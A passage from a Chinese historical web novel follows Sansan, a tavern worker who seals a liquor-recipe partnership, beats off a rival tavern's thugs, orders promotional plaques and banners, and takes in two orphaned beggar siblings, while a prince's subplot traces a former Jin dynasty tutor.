秋月楼的生意虽然不像百花楼那样火热,但也是实打实地坐满了人。
三三向店小二表明来意,那店小二就领着她们去了后院。
只见秋月楼的老板正舒适地躺摇椅上晒太阳,那阳光斜斜照在她身上,看着怪暖和的。
“邱老板,好久不见啊。”老板娘率先开口。
摇椅上的邱老板是个女老板,跟老板娘和丈夫一起开酒楼不同,这个邱老板是自己一个人开的酒楼。
邱老板缓缓抬手取下罩在脸上的团扇,微微歪头,柔声道:“李老板怎么来了?”
老板娘走近了两步,低声道:“来跟你谈个生意,不知道邱老板有没有兴趣芳菲酒的秘方?”
邱老板捏着团扇的手一顿,原本躺着的身子突然十分灵活地直立了起来,她站起身,团扇往前一伸:“李老板这边请。”
三三对她这副变身叹为观止,但见老板娘一走,就急忙跟了上去。
“李老板,你刚刚那话什么意思,是要卖我芳菲的秘方吗?”邱老板领着二人上楼进了一间安静的房间,一手拿团扇,一手拎茶壶给老板娘和三三倒了茶。
老板娘看了眼三三,三三立即会意,把早已倒背如流的说辞又给邱老板讲了一遍。
……
邱老板手里的团扇一会往前翻,一会往后翻,三三在团扇翻飞中看出了她的犹豫。
“天香楼一直跟秋月楼不对付,如果天香楼真的拿到了秘方,我想秋月楼的处境应该不会比来财酒楼好多少吧。”三三清楚秋月楼跟天香楼之间的纠葛,要是让天香楼真的一家独售芳菲酒,那么依照其往日财大气粗的做法,肯定是不会再限量售卖了,只会不断扩大销量从而挤占其他家的售酒量,倒时候其他酒楼的酒卖不出去,像百花楼和英雄楼可能还能挺住,而像秋月楼这种规模不大的酒楼就岌岌可危了。
果然,邱老板手中的团扇不动了。
她腰板很直,从进来时就一直是这个姿态,三三本来是看着团扇的,见团扇不动了目光才游移到邱老板脸上。
“三三姑娘真是个趣人啊,往日里大家都知道你为人仗义,不成想,你还是个聪明人呢。”邱老板喝了口茶才慢悠
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悠道。
三三也笑道:“邱老板说笑了,外面人人都夸您年纪轻轻就开了一家大酒楼,人又长得美,是大楚女儿都纷纷效仿的榜样呢。”
邱老板顿时被逗笑了。
“这事与我而言利大于弊,我当然是同意的了,”邱老板转头喊了小二过来,“去备好笔墨纸砚拿过来。”
三三不由得好奇:“邱老板是打算自己拟契约吗?”
“是啊,方便我们商讨事宜,若是觉得哪条不好也能直接改。”
笔墨纸砚很快就上来了,小二在一旁研磨,邱老板摊平了纸,开始提笔书写。
她的字如同她人一般,看起来很是温柔婉转,但暗藏笔锋。三三不由得有些羡慕,她的字就写得不是很好。
邱老板把一些基本情况写清楚之后,又跟老板娘对了一些细节,二人都确定没意见之后再提笔写上纸。
不多时,两份契约就拟好了。
邱老板打开印泥盒子,率先摁下了手印,老板娘紧跟其后。她把其中一份契约交给老板娘,轻声笑道:“李老板,跟你合作我很放心。”
老板娘也笑道:“我也是。”
三三和老板娘迈出秋月楼的时候,已经快要申时末了,日头挂在遥远的天际那头,将落不落。
路过家牛肉粉店时,老板娘叫住了三三。
“吃牛肉面吧。”
牛肉可是稀罕物,在酒楼厨房只有逢年过节才能吃上,三三平日里吃得最多的肉是八分肥两分瘦的五花肉。
三三原本领先老板娘好几步的距离,闻言蹬蹬倒着身子往后退,眼睛亮亮地看向老板娘:“真吃牛肉面啊?”
老板娘觑了她一眼:“对,真吃,再给你多加份牛肉。”
三三立即抬脚进了牛肉面店。
牛肉又薄又大,平铺在白色细面上,葱绿点缀其间,白萝卜切成薄片挨着牛肉躺平,一勺鲜红的辣椒油淋下,香味扑鼻而来。三三看着端上来的牛肉粉,迫不及待地尝了一口,香得她眯起了眼睛。
老板娘看着她这副满足的模样,笑了笑没说话,拿了双筷子就唏哩呼噜吃了起来。
热汤下肚,三三觉得整个人都暖烘烘的。她喟叹了一声,满足地摸了摸肚子。
老板娘早就吃完了,见三三也吃完了才开口道:“今日你辛苦了,吃饱了就回去吧。”
三三笑着看她:“所以这是我今日的酬劳咯?”
老板娘没理她,直接起身出门了。
“……所以我们要不要跟来财酒楼合作呢?”杨老板送走了三三和老板娘之后,思忖了片刻,便马不停蹄地来了元安王府,名义上是送甜点,实则是要把今日的事情给裴景明汇报。
裴景明怀里抱着只白猫,轻轻抚着它背,闻言只问:“那天香楼背后是谁来着?”
杨老板眼神复杂地看了他一眼:“宁北王啊,你不是早知道了吗?”
裴景明哦了一声,笑了笑:“那就合作,跟他对着干。”
“只是为了跟他对着干?”杨老板揶揄地打趣,“我可是听许大人说了啊,那三三……”
裴景明摸猫的动作没停,只懒懒抬眼看了他一眼,怀里的猫似心有灵犀,也睁着个大眼看他。
“那三三怎么了?”
“没怎么……”杨老板见十一手里拿着卷画轴疾步过来,面上一片风尘仆仆的,倏然闭上嘴了。
十一毕恭毕敬上前打开画轴,只见那画轴上的人,赫然是旧书铺的主人——程书。
裴景明的瞳孔在瞧见画上之人时,倏然放大,大楚吞并大晋是十八年前,当时他四岁,为了减少流血牺牲,明武帝带着他历时两年,招安了很多大晋的文臣武将,但其中有一个人拒绝之意十分强烈,强烈到裴景明深刻记住了他——程书,大晋的太子太傅。
19. 小人挨揍
“他走了?”裴景明问。
十一点点头,二七昨晚回来告诉他城外书铺的老板连夜骑马出城去了,但当时裴景明喝完酒已经睡下了。十一知道他入睡困难,便没有打扰他,今早见裴景明醒了才汇报这一消息。
“就他自己一个人?”裴景明擦了脸又问。
十一端着盆:“对,五三已经跟着了,有消息会传回来的。”
“之前让你查的事情怎么样了?”
十一见他把帕子放进了盆里,便转身搁下:“程书嗜酒,经常去来财酒楼喝酒,是三四年前才跟三三接触上的,三三经常去他书铺看书。”
裴景明坐在轮椅上,张开双手又握起,张开又握起,来回了几次。
“这都是明面上的,我是说暗地里有什么吗?”
十一摇了摇头:“他本来是回了老家齐州的,但是五年前又回到了东京城,从别人手里接下那个旧书铺之后就一直卖书为生。”
“齐州距离东京城起码有个三四千里,他回了齐州之后又回东京城,肯定没那么简单。大晋的国君育有四子三女,除了因为夺权被处死的三子一女,还剩下另外一子二女,但在大楚占领东京城后,剩下的这一子二女也都死了,”裴景明紧握着双拳,倏尔又松开,“你觉得呢?”
十一面上一片愕然,随即马上意识到:“王爷是说他回来是因为发现了还有其他的大晋皇室?”
“不能排除这个可能,否则他为什么又回东京城?为了卖书?你信吗?”
十一脸上一片肃然。
“去找唐凌,让他查。”
三三一早就起来了,利落收拾完自己就下楼去厨房吃早饭,边吃边等老板娘回来给钱去办事。
她刚从蒸笼里拿出两个包子,就听到前厅传来了吵闹声,声音之大不次于炮竹声,吓得她赶紧将包子扔回蒸笼,火急火燎地往前厅去。
刘雁拿着把扫帚,怯懦地缩在前厅通往后院的帘子旁,三三一掀开帘子就瞧见了对面站满了五六个人高马大的打手,前面那个长得贼眉鼠眼的正是天香楼的掌柜。
“王掌柜,您这是什么意思?”三三将刘雁拉往身后,示意她回后边的院子去。
王掌柜摸着下巴,猥琐地打量三三:“三三,李老板之前说好了要卖给我们天香楼秘方,今天是最后一天了,我是来找你养母的,当然,找你也不是不行哈哈哈哈。”
“找老板娘要带这么多人?”三三冷冷问道。
“这不是李老板之前不肯配合吗?我怕这次也是,总得给点教训才能长记性,你说是吧?”
现在酒楼还没开张,王掌柜冲身后的打手使了个眼色,那五大三粗的几个打手便开始踹桌子砸椅子。
王掌柜满意地点点头,背着手,仰着下巴道:“李老板什么时候出来,我们就什么时候停手。”
三三不答话,动作熟练地从收银台那边的角落里拿出了根厚实粗长的棍子,两步上前朝其中一个打手下巴上一甩,力道之足,当即就把人给掀翻在地。
她棍子抵着那打手胸膛,冷冷道:“我看谁敢再砸?”
其他打手见状纷纷停下了手中的动作,王掌柜当即叉腰怒骂:“都愣着干什么?她一个丫头片子,你们还打不过她?给我打!”
那些打手起初是被三三这一下给打懵了,现在被王掌柜那么一骂,当即反应过来,纷纷攥拳怒吼朝三三砸去。
三三自觉力气敌不过这几人,便竖起长棍直劈怼到她面前的一人,又握紧了拳头狠砸另一个打手的面门。
一时之间,前厅乱作一团。
刘雁见三三开打,便跑到厨房大声喊人帮忙:“快来人啊!三三被打了!”
厨房里的几个师傅都在忙着张罗饭菜,手上剁肉的动作就没停过,一听这话,拿着刀就蹿了出来直往前厅去。
三三的棍子使得风生水起,一会狠狠捶这个一肩膀,再借力一踹,人当即仰面倒地;一会再重重砸那个一后膝,反手肘击对方脑袋,打得人直扑地板,一时之间这些打手竟然都没办法近她身。
这些打手各自捂着肩膀和膝盖,躺在地上哎哟叫个不停,师傅们出来之后立即亮刀大声呵道:“你们又来找事是不是?”
王掌柜见他们手里都拿着刀,谨慎地后退了几步:“你们干什么?别乱来啊!”
带头的潘师傅阴恻恻挥了挥手里的刀,笑道:“你再不走,我可不敢保证我能做出什么!”
王掌柜被他这副模样吓得腿软,扭头一看旁边那些一直在哀嚎的打手,心里骂了声娘,不情不愿地叫人赶紧走。
“站住!”三三手持长棍,直指王掌柜,“砸了我们东西就想跑?赔钱!”
王掌柜冷笑了声,刚想骂三三痴人说梦,一见三三往前了两步,手上的棍子就要往他脑袋上招呼,立马从胸前摸出银袋甩了过去。
三三稳稳接住空中的银袋,掂了掂发现还行,够重新买新桌子和椅子了,这才收回棍子放人走:“再敢来闹事就打断你的腿!”
王掌柜面如菜色,在三三的呵斥声中连滚带爬地走了。
师傅们见人都被三三打跑了,乐呵乐呵地边帮忙收拾前厅被砸烂的桌椅边夸三三。
“你这棍法使得是越来越不错了啊,”潘师傅捡起桌椅的残块垒起来,准备搬去厨房当柴火,“比当年的我,也就逊一点吧。”
他拿起根桌腿,手指从这头比到那头:“就差那么一点。”
三三笑得不行:“那肯定了,您教我的棍法,当然是比我厉害了,我这才哪到哪啊。”
三三五岁之后便一直长在酒楼,她如今十八岁了,潘师傅也在这里干了十三年了。
潘师傅心里感慨了一下,想当初三三连抬棍都费力气呢。
他抱起桌椅残块朝后院走,乐道:“谁说不是呢,改日咱切磋切磋。”
三三应了声好,将棍子藏好后转身就看到了老板娘扶着门框定定看着地上的碎屑。
她走近,瞧见老板娘眼眶红红的,但是没哭。
“他们被我们打跑了,还赔了钱,我们可以买新的桌椅,”三三拿出那个银袋子递给老板娘,“我看着不少,够买的。”
老板娘没说话,只是眼眶更红了。
三三手足无措地站一边盯地板。
她知道老板娘舍不得这些桌椅,因为这些都是老板生前亲自做的。
过了好一会,老板娘才从衣兜里取出个红袋子,里面至少装了七八十两银子,看着沉甸甸的。
她放到三三手里:“去吧,这两日就辛苦你跑了,大小事情你看着办。”
三三手里拿着个包子边吃边走边在脑子里想要怎么把这件事给宣扬出去。
她脑子里的想法纷繁复杂,一会想找些托来凑人数,一会想着要雇人大肆宣扬,想了好半天都没得出个最终结果。
当她狠狠咬下最后一口包子时,三三决定了——得先定制几块牌匾,上书芳菲酒独家合作,还得搞个仪式,最好几家酒楼同时搞,再挂上几个旗子,雇几个便宜的人满城跑几圈!
确定想法后,三三拍了拍手,脚步轻快地往长安街的工坊去。
“小二,你们店的定制匾额多少钱一块啊?”三三在工坊里面逛了几家店,几番比较下来发现这家店最好。
小二乐呵呵上前,手里还端着个算盘,边拨边给她介绍:“这位娘子,这得看您需要哪些材质和样式了,像这个普通木材的话,比如松木、榆木之类的,大概十两银子左右,外加雕刻、涂漆等其他工序,一通算下来大概就二十两银子吧。要是像檀木、花梨之类的话,诶那可就贵咯,价格在五十两往上,有底限无上限。您看您需要哪一种呢?”
三三听他算盘拨得震天响,眼前仿佛
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看到了白花花的银子就那么哗啦啦地一去不复返。
她赶紧抬手制止小二,两眼真诚发问:“要是我同时定制几块的话,能不能给我算便宜一点?”
小二手里端着算盘,也两眼真诚地问道:“这个不好说,得看您定制几块,定制多大尺寸的、定制什么材质的,还有需不需要请名家来提笔……”
三三听他说得脑子发懵,赶紧打断了他:“你们老板呢?”
小二竖起算盘重整珠子往柜台后一指:“老板在底下呢。”
三三顺着他指的方向探步过去,发现这老板竟然躲在柜台底下偷偷吃东西!
“老板……您这是?”三三疑惑发问。
老板本来还在专心捧着个碗吃饭,突然听到一道从未听过的女声,吓得手一哆嗦,赶紧抬起了头:“诶!”
小二在一旁轻声道:“老板太忙啦,那些客人一来就找老板,老板连饭都吃不上,只能躲在柜台底下吃饭,吃完了再出来。”
三三心情复杂地看了又看老板:“那您先吃,我在外面等您。”
老板还是第一次听到客人这么说,以前被客人发现正在吃饭,那往往都是吃了一口再没后续,顿时感动地又啃了几口大肘子。
三三边等老板边逛店里的成品,又边看边啧啧称叹,这家店不愧是工坊最大的匾额店,样式之多、工艺之复杂,堪称典范。
正好逛完一圈,老板从柜台底下钻出来了。
他瞅准三三的背影,连步赶到三三面前,笑道:“这位小娘子,您是想要定制几块匾额呢?”
三三侧身:“三块,不知道老板能不能给个便宜呢?”
老板又问:“那您是打算用什么材质呢?需要额外加工吗?”
三三犹豫了会,匾额可是牌面,断然不能让人小瞧了去,便道:“就用松木吧,要鎏金的。”
老板点头:“了然,稍等我算算。”
他从宽大的袖子里掏出个紫檀算盘,手指飞快地拨动着珠子,不一会便抬头笑道:“娘子要三块松木匾额,按照市场价六十两银子,我看娘子要的数也不算少,给您个便宜,收您五十四两,您看如何?”
三三摸着袖兜里的袋子,忍痛笑道:“好,那就谢谢老板了。”
老板笑眯眯地又问了点其他详细事宜,三三心里掂量一番之后,都一一敲定了。
“那明日能送上门吗?”三三问。
老板大惊:“这可不行,我们师傅做一块匾额起码得要五日才能完成啊!就算几个师傅同时做三块匾额,那也得五日啊!”
三三啊了一声,眉头紧蹙,至少五日才能完成,可是这两日就得忙着宣扬出去合作的事情了。
三三一咬牙,狠心道:“我再加十两,三日内完成可否?”
老板犹豫了会:“二十两,得给师傅们加点钱。”
三三觉得这个红袋子是保不住了,但还是咬牙应了:“行!”
“好嘞!一共收您七十四两!您先付个定金,就收您十四两吧,到送上门之日,您验过货,没问题了再付余下的六十两。”老板笑眯眯道。
三三点头,背过身子拿出老板娘给的红袋子,仔仔细细地算了十四两银子给他。
三三付了钱,想起还要去做几个旗子,便问老板:“老板,工坊里有做旗子的吗?”
“旗子啊,那您得去染坊那边问问,工坊我倒是没见过。”
三三道过谢便出门。
走了一上午,终于把匾额的事情给敲定了,三三舒了口气。
不舒还好,一舒就发现肚里空空如也,三三摸了摸肚子,准备先填饱胃再说。
好不容易找到了家肉饼摊子,三三付过钱,刚刚拿到手的热乎饼还没攥好呢,就被一个小乞丐风驰电掣地给抢走了。
三三怒不可遏,拔腿就追:“你给我站住!”
20. 乞丐兄妹
那小乞丐约莫七八岁,跑得不快,三三没两步就抓到了他,提溜着他脏兮兮的破领子骂道:“你这小乞丐还敢抢我饼!我揍死你!”
说着扬手打了两下小乞丐屁股,岂料那小乞丐丝毫不吭声,三三侧头一看,发现他一直紧紧攥着那饼,也不吃,心生疑惑,但还是凶巴巴地去掰他手想抢回饼。
那小乞丐看似瘦不拉几的,力气还挺大,饼都要被攥碎了他还是不肯松手。
三三气道:“你不吃,又不肯还我,到底什么意思?”
小乞丐眼神倔强,无论三三怎么骂都不肯松手。
三三被他气得没话说,最终还是摆了摆手:“算了,不跟你计较,走吧走吧。”
小乞丐见她松了手,破烂裤子下瘦骨嶙峋的脚如同踩了风火轮一样,眨眼间就消失了。
三三叹了口气,转身回那肉饼铺子前又买了一个饼。
染坊位于工坊对面,路不算绕,直走就行。三三被抢了饼,心里堵着口气,边走边时不时跺脚泄气。
“再让我看到那小乞丐,我一定揍死他!”三三恨恨在心里骂道。
不知道是不是一路上都在专注于骂那小乞丐了,等三三回过神来,她已经走到染坊了。
跟逛匾额店一样,三三也在染坊的各家店里面到处逛到处看。但染坊的店比工坊的多多了,三三逛了五六家就累了。
她一天没怎么喝水,眼下渴得要命,正打算逛完眼前这家染织店就去买水喝。
“小二,你们这店做旗子吗?”三三混在人群中逛了一圈,没见到有做旗子的样式。
听她问话的她声音嘶哑,小二给她端了碗茶水过来:“娘子,我们店也做旗子,只是不摆出来而已。”
三三见他如此贴心,赶紧连连道谢,仰头一下就喝完了。
小二见她如此渴水,便又拎了茶壶过来继续给她添。
三三连喝三杯,终于缓解了。
“多谢小哥,”三三将杯子递还给他,又问,“这个旗子价格怎么算呢?”
小二放好茶壶和杯子:“这得看您用什么布料了,最便宜的大概一百文左右,最贵的话也有一千文,也就是一贯左右。”
三三当即道:“最便宜的,要五份。”
“上面要写字吗?”小二问。
“要的,”三三点头,“字也要收钱吗?”
小二笑道:“自然是要的,一个字,十文。”
三三点头,学着刚刚匾额店老板的语气:“了然了然。”
“那我做那么多份,有什么便宜吗?”三三又问。
小二笑了笑:“这个我说了不算,您可以跟我们老板谈。”
三三点头,小二便上楼唤了老板下来。
那是个年过五十的女老板,但风韵犹存,说话细声细气的。
“您做五份,要最便宜的,那就是五百文,字呢?字要写几个啊?”女老板问。
三三在心里算了算——芳菲酒独家合作,百花英雄秋月见。
一共十四个字。
三三抬头看女老板,一脸肯定:“十四个字。”
女老板见她如此严肃,一时之间竟被她逗笑了:“十四个字啊,那就是一百四十文,算上五份旗子,便是六百四十文。给您便宜的话,那就是五百七十文,您看如何?”
三三在心里算了算,还成,可以接受,便点点头,但瞥见到一旁正在试各色布料的娘子时,突然紧张了:“老板,那个旗子的颜色不同,是不是价格也不一样?”
女老板被她这一惊一乍的模样逗得不行,笑道:“那是当然啦,但是你要的是最便宜的,那就是黑布红字咯。”
黑布红字,那还可以,三三虚惊一场,别是白布黑字就行。
“明日可以送上门吗?”三三又想起来一个关键的问题。
老板:“可以,明日下午定给你送上门。”
三三终于放心地点头了。
从染织店里出来时,天还大亮,三三估摸了下时间,大概申时刚过。
匾额有了,旗子也有了,剩下的就是要找人扛着旗子满东京城去吆喝宣扬了。
但是去哪找人呢?三三一时之间竟然想不起来要找什么人去吆喝。
今日的太阳不暖,哪怕站在日头底下也感受不到什么暖气。尽管如此,三三还是站在日头底下走,聊胜于无嘛,她想。
她刚走出染坊和工坊的交界地,突然瞥见中午那会抢她饼的小乞丐也在抢别人的饼,结果还没跑出两步,一下就被人给抓住了摔地上猛踹。
“敢抢你爷爷的饼?真是不想活了!”那被抢的人是个男子,边骂边狠踹地上趴着的小乞丐,这人虽然看起来不高不壮,但揍一个小孩,那还是绰绰有余的。
饼铺前围了一圈人,有骂小乞丐的,也有骂被抢的人下手太重的。
三三混在人群中,看着被打得口吐鲜血的小乞丐,想上前拦,但脚步一转又停下了。她能救得了一次,救不了两次、三次,做错了事被打是该的。
合该让他长点教训,三三心想。
约莫过了好一会,原本还在蜷手蜷脚的小乞丐摊在地上不动了,众人见他没反应,都在议论小乞丐是不是被踹死了。
那被抢的人闻声停下了动作,脚尖抵着那小乞丐背部轻跺了两下,见他毫无反应,害怕真将人给踹死了,边收回脚走向人群边嘴里骂道:“不知死活的玩意,今天揍你一顿是便宜你了,再有下次,爷爷非打死你不可!”
周遭的人嘴里不停怀疑,但都不敢上前去看那小乞丐,三三不好第一个上前,站在人群中暗中观察,但依旧没人上前,反倒是稀稀拉拉地走了好多。
三三扫了一圈,见人都散得差不多了,便趁人不注意把那小乞丐给背走了。
工坊的小道又宽又大,可能是因为平时要搬抬的东西都是重物,两边都堆满了沙袋,有软有硬。
三三将那小乞丐放在一袋软沙袋上,伸手探了探他颈侧的脉搏,还好,脉搏还是在跳的,三三松了口气。
我为什么要松气?又不是我打的,三三撇了撇嘴,我还是被抢的呢。
内心诽腹是一回事,三三拍了拍他脸,见他怎么都不醒,犹豫再三,还是打算将人背去同仁堂。
同仁堂的老郎中是个和气的爷爷,三三以前受伤都会来这里处理,一来二去的已经熟的不得了了。
今天堂内人不多,三三进来就看到爷爷坐在诊疗椅上睡觉。
她背着小乞丐上前,轻声唤道:“牛爷爷,来病人了。”
牛爷爷的鼾声很大,三三这句话都被淹没了。她叹了口气,又挪了两步,凑到牛爷爷耳朵边喊道:“牛爷爷,来病人了!”
牛爷爷的巨雷鼾声一下就停了,他瞪大了眼睛,侧头看向三三:“病人?”
三三点点头,牛爷爷见她背上背了个满是血污的小乞丐,赶紧起身让她把人放在外面的诊疗床上。
三三听话地将人放下,边活动背了一路酸的不行的肩胛边给牛爷爷简单说了事情的经过。
牛爷爷边听边感慨:“那男子下手真是狠,一个劲地踹人家腹部,你看看,你看看,眼下这腹部全是青紫一片,也不知道有没有伤到内里。”
三三不否认那人下手狠:“话是那么说,但是他抢人饼在先,人家揍他也是活该。”
牛爷爷专心给那小乞丐擦药:“这世道啊,唉,这孩子要不是饿得不行了,哪会去抢?”
三三立即反驳:“那可真不好说,他中午那会先抢了我一个肉饼呢,而且也没吃。”
牛爷爷擦完药,又给那小乞丐擦脸,怜惜道:“那说不定还有个兄弟姐妹之类的,不够吃吧。”
三三没说话。
三三背了一路,眼下手酸脚酸的,她见牛爷爷在给那小乞丐检查,便一屁股坐下那诊疗椅旁边的软竹椅,双腿在地面上伸直,左晃一下右晃一下,边晃边发呆,想着要去哪找人吆喝宣扬。
那小乞丐生命力还真是顽强,牛爷爷刚给他涂好药不久他就迷迷糊糊地睁开了眼。
见他嘴巴一张一合的,牛爷爷凑近了听,发现他竟然是渴了。
“三三,去倒点水过来,要温水。”牛爷爷朝发呆的三三喊了声。
三三正神游天外,一下就被这中气十足的喊声给喊回了神,连忙起身去倒
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水。
“他醒了?”
牛爷爷拿了根竹管,一头放在那小乞丐嘴边,示意三三将水从另一头倒下。
三三一眼就明白了他的意思,小心翼翼地沿着竹管缓缓倒水。
那小乞丐喝了水,躺了没一会就清醒了。
他一侧头看到三三,眼神就变得十分警惕。
三三忍不住好笑起来:“你警惕我?要不是我背你过来牛爷爷这,你说不定真要死那了。”
那小乞丐盯着她,慢慢想起来自己因为抢饼被人抓住了扔地上踹……
“谢谢你救了我。”那小乞丐声音嘶哑地开口。
三三哼哼了两声,摆了摆手,拉过那张软竹椅坐在他面前,问:“你之前抢了我的饼,但是没吃,后面又去抢别人的饼,你是不是有兄弟姐妹?还是单纯的吃不饱?”
那小乞丐没说话,躺在诊疗床上盯着屋檐沉默。
三三就这么坐着等他开口。
过了好一会,牛爷爷从后院端了碗乌漆嘛黑的药过来,示意三三将人扶起来喝药。
“这药钱该不会是我付吧?”三三抓着小乞丐的肩膀一把拉起,故意问牛爷爷。
牛爷爷板着个脸:“不是你付谁付?谁带来的人?啊?”
三三又扭头看那小乞丐:“看到了吧?我救了你,还给你看病喝药,你要不要对救命恩人说实话?”
那小乞丐嗫喏了几下,还是没出声。
待喝完了药,三三正准备坐回软椅时,那小乞丐终于开口了。
“我有个妹妹,亲妹妹,”小乞丐声音垂头低声道,“她瘦得很可怜,比猫还瘦,我们已经饿了半个多月了,再不吃东西,她会死的,我没办法,只好去抢了。”
三三顿在半空,她站直了身子,问:“真话?”
那小乞丐抬头看她,眼神漆黑又明亮,因为被怀疑而急切地出声:“真的,你是我救命恩人,我不骗你。”
“你妹妹在哪?我去接她过来。”三三看着他。
那小乞丐眼神骤然变红,泪水在眼眶里不停打转:“在工坊和染坊交界的一处小道边,那小道两边一处卖染布,一处卖匾额,染布店名叫春水。”
三三点头,让他安心待在这,自己去找他妹妹。
还好早上那会为了找到合适的店一直在转悠,三三按那小乞丐说的一路找去倒也不费什么事,只是那小道,肮脏不堪,污水淌得满地都是,三三随手扒拉了好几处那种一块布拉起来就能遮风挡雨的小棚子,都没找到他说的妹妹。
她看了眼从头到尾的小道,除去一头一尾的小棚子,中间还有几个破破烂烂的布挡着的小棚子,那棚子小得很,勉强钻进个猫儿狗儿的。
猫儿狗儿。
三三细想了一番那小乞丐的身形,确实跟狗儿大差不差。
她从旁边拿了个棍子,点兵点将一样掀开破布一角,发现不是又给人盖上。
就这么快一路扫到小路的尾巴了,终于找到了那个猫儿一样的妹妹。
三三掀开布棚,小心翼翼地伸手想抱起那个瘦骨嶙峋的小女孩,但后者却睁着惶恐不安的眼睛看着三三。
三三轻声哄她:“你别怕,我是来替你哥哥接你的。”
那小女孩防备心很重,一直往身后缩,三三看着她,破破烂烂的衣服勉强裹住猫儿一样的身躯,面容又脏又污,瘦得跟猫脸一样,看不出原本模样,只有嘴角边残留了点饼渣。
三三看着那点饼渣,心里不是滋味。
她再次轻声道:“我是你哥哥托来找你的,他叫孟岸,你叫孟双,对不对?”
孟双的眼神依旧防备,轻声问:“那我哥哥为什么不来找我?”
“你哥哥在忙,忙完了就可以吃好吃的了,所以让我来接你。你看,”三三拿出了孟岸临时编的草折蟋蟀,“这是你哥哥给的信物。”
她小心递过去给孟双,孟双也不伸手去接,眼神看向地面,三三便会意地将草蟋蟀放在地上:“你看看是不是你哥哥折的?”
见她撤离了,孟双小心地去拿那草蟋蟀,旋即泪水汹涌而出:“我、我信你,你带我去、去找哥哥吧。”
21. 孟岸孟双
三三背着孟双回到同仁堂时,天已经黑了,街上的灯笼成排亮起,看起来暖意十足。
同仁堂前面的门已经关了,三三只好绕到后院去敲后门。
牛爷爷年纪大了,听力也不好使,三三敲了好几下他才过来开门。
“这是?”牛爷爷见她背上又有个人,顿时又瞪大了眼睛。
三三不好意思笑了笑:“这是孟岸的妹妹,孟双。”
孟岸一听到三三的声音,连忙跑了过来,三三将孟双放下,兄妹俩一下就抱在了一起痛哭流涕。
牛爷爷趁机拉过三三:“三三,你这是干什么啊?这两个小乞丐,你要丢我这啊?”
三三从自己的布袋子里取出一块银子,放在牛爷爷手上,宽慰道:“牛爷爷,你放心,我知道你也不容易,你先替我照看这两个孩子,我看他俩都病得不轻,你先给他们治治,等你治好了,我就带他们走。”
牛爷爷心情复杂地看着她:“我不是那个意思,我年纪大了,膝下无儿无女,照说收养两个孩子养老也不是不行,只是同仁堂里还有两个学徒,我也不知道他们的底细……”
三三明白他的意思。
“牛爷爷放心,就这几天,等您治好他们,我也得空了,就带他们走。”
牛爷爷叹了口气,将两个孩子都带进了里屋。
三三见他们都没吃饭,又出门去买了些热乎的吃食回来。
“你俩有名有姓,不是从小就是乞丐吧?”三三递过去两张牛肉饼给兄妹二人,又分了张给牛爷爷,自己也拿了块叼在嘴里。
孟岸接过饼先分了妹妹一块,自己手里那张又一分为二,吃半张留半张。
“不是,”孟岸咬了口饼,低声道,“是因为被抄家了,没办法,无处可去,只好带着妹妹到处流浪。”
被抄家?难道是贪官子女?
“为什么被抄家?何时被抄的?”三三见那小妹妹吃得急,怕她噎着,给她倒了杯水放旁边。
孟岸吃东西很快,没两口那半张饼就没有了,但他没有立即就吃剩下那半张,反而一直在看妹妹。
三三看出了他的心思,只道:“饼管够,你吃就是,还有,老实回答我的问题。”
孟岸闻言,看向桌上那袋子,里面还装着好几张饼。
他犹豫了几瞬,终于张口咬下那剩下的另外半张饼了。
“我爹是吏部的一个小官,他不是贪官,但他是前朝大晋的归顺官员,”孟岸见妹妹噎住了,赶紧拿起旁边的水给她,“具体是因为什么被抄的家,我也不是很清楚,只知道那天来了很多带刀的士兵,在我爹书房里搜了很久,最后我爹就被带走了,家也没了,家中侍女小厮也都被下了狱。”
“我娘带着我和妹妹趁乱逃了出来,但是被追兵发现,娘亲为了保护我们中了箭,后来伤势过重,没钱治,就死了。”孟岸的声音很低,神情也很平静,叙述虽然简单,但能听出来这一路上他和年幼的妹妹经历了很多,从无忧无虑的少爷小姐一朝沦为无家可归的乞丐,其中滋味,唯有自己知道。
三三沉默着吃饼,一旁的牛爷爷倒是一直在叹气。
“这俩个小娃娃,也不知道是经历了多少才能活到今天,”牛爷爷连连叹气,叹得手中的饼都没吃下,“看他们身子骨也不好,许是在逃亡路上留下的病根,这几日就先留在我这养病吧。”
三三低头看那小妹妹,虽然刚刚才被噎了,但现在依旧啃得很起劲。
她摸了摸小妹妹的脑袋,温柔问道:“孟双,这几日就和哥哥先住爷爷这养病好不好?”
孟双抬起脏污的小脸,嘴里还嚼着饼,闻言并没有立即答话,而是先看了看一旁的哥哥,见他点了头,才轻声道:“好。”
“谢谢姐姐。”孟双又轻声加了句。
三三笑了笑,揉了揉她脑袋,又拍了拍孟岸的肩膀,示意他跟自己出去。
孟岸见妹妹吃完了手里的饼,大着胆子又去拿桌上剩下的给她,见孟双再次啃了起来,才急匆匆追着三三的背影出去。
“你刚刚说的都是真的?”三三背对着他,仰头望天,不知道在找什么。
“我以家父家母之名发誓,刚刚所说句句属实,如有半字虚假,便叫我和妹妹不得好死。”孟岸身姿挺拔,面容严肃,若是忽略他那身脏污破衣,确实像个官员之子。
“你今年多大了?”
孟岸:“我今年十二,妹妹六岁。”
三三好似没找着自己想要找的东西,转过身来微微低头瞧他:“行,我信你,这几日你和孟双先住这,等我忙完了就来接你们走。”
三三看向里屋,孟双不知道什么时候跟着出来了,手里还捧着饼。
三三朝她笑了笑:“天不早了,吃饱喝足赶紧休息吧,我先走了。”
“爷爷,我先回去啦!”三三又朝里屋喊了声。
牛爷爷探出只手,朝她挥了挥,但并不见身影,也不知道在捣鼓什么。
三三回到酒楼时发现老板娘还在柜台那算账,顿时头皮发麻,今晚她回得有点晚了,事情也没办完……
“回来了?”老板娘微微抬头看向正欲迈进门的三三。
三三笑了笑:“对,回来了,你怎么还在这?”
老板娘竖起算盘将珠子归位:“自然是等你。”
“等我?等我什么?”三三给自己倒了杯水。
“等你算账呗,事情办的怎么样了?钱花了多少?”
三三喝完水,开始给她汇报今日已经办完的事情还有花去的银子,至于小乞丐兄妹的事情,她没打算告诉老板娘,反正用的都是她之前的银子。
“还差人扛着旗子去吆喝是吧?”老板娘问。
“对,”三三看向她,“我实在是想不出来能找谁,老板娘有什么高见吗?”
老板娘想了想,半响才道:“高见没有,店里的人是不能去的,去了谁干活?不如去找些小乞丐?”
“小乞丐?”三三愣住了,但她很快就反应过来了,小乞丐便宜,而且对东京城里的路也熟,吆喝卖力气就能换钱,他们肯定乐意。
“我觉得老板娘你说得很对,我明日就去找找。”
老板娘点头,将算盘放好就上楼歇息了。
第二日一早,街上还没什么人呢,三三就直奔同仁堂去了。
“牛爷爷,早啊,看我给你带了什么?”三三手里拎着好几个包子。
